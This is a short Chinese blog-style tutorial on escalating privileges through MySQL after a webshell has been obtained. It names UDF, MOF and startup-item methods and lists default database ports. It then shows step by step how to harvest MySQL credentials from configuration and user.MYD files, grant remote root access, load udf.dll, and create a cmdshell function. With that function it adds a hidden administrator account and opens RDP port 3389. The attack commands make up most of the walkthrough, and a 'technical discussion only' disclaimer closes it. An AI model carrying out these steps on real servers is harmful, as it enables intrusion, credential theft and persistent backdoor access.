mysql数据库提权的办法

2024-11-17 1

MySql提权的三种方式:

  • udf提权

  • mof提权

  • 启动项提权

以下是一些常见的数据库及其默认端口:

1. MySQL: 默认端口为 3306

2. PostgreSQL: 默认端口为 5432

3. Oracle Database: 默认端口为 1521

4. Microsoft SQL Server: 默认端口为 1433

5. MongoDB: 默认端口为 27017

6. Redis: 默认端口为 6379

7. Elasticsearch: 默认端口为 9200 (HTTP) 和 9300 (内部通信)

8. Cassandra: 默认端口为 9042

9. SQLite: 通常是本地文件系统,没有固定端口

10. DB2: 默认端口为 50000

11.国产的DM达梦数据库, 默认端口号为:5236;

mysql_UDF 提权:

拿到webshell之后,进行数据库提权操作

一、端口扫描

二、信息收集:

如何获取mysql账号密码

1.查看网站配置文件。

如:conn、config、data、sql、common 、inc、include等。

2.Mysql配置文件:C:\phpStudy\MySQL\data\mysql\user.MYD

例如:DVWA默认数据库存储在:C:/phpStudy/WWW/DVWA/config/config.inc.php.dist目录

点击查看:账号:root 密码:root

查看数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd和user.myi

放到MD5在线网站进行解密

三、提权利用

注意事项:提权的第一步要知道数据库的版本号:

(1)如果mysql<5.1    导出目录 c:\windows 或  c:\windows\system32

(2)mysql=>5.1   导出安装目录\MySQL\lib\plugin

注*:默认mysql不能远程连接,需要用菜刀进行本地连接

选择mysql,填写好账号:root 密码root,确认好提交进行连接

1
2
3
4
设置远程连接,用于在本地连接。
 
mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
mysql> flush privileges; 重新加载权限数据

数据库版本为5.5.53

由于本次实验数据库为5.5.53,因此选择\MySQL\lib\plugin目录。

提示报错

前提条件为:secure_file_priv等于空,需要在my.ini配置文件中进行设置

修改之后,查看安装dll文件完成。

创建cmdshell函数,执行操作系统命令。

1
Create Function cmdshell returns string soname 'udf.dll';

使用cmdshll函数执行操作系统命令

1
2
3
select cmdshell('whoami');
select cmdshell('net user 123 123/add');    添加用户
select cmdshell('net localgroup administrators 123 /add');    将123用户添加到管理组

开3389进行远程连接

1
2
Create Function open3389 returns string soname 'udf.dll';
select open3389();    开启3389远程连接

注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关。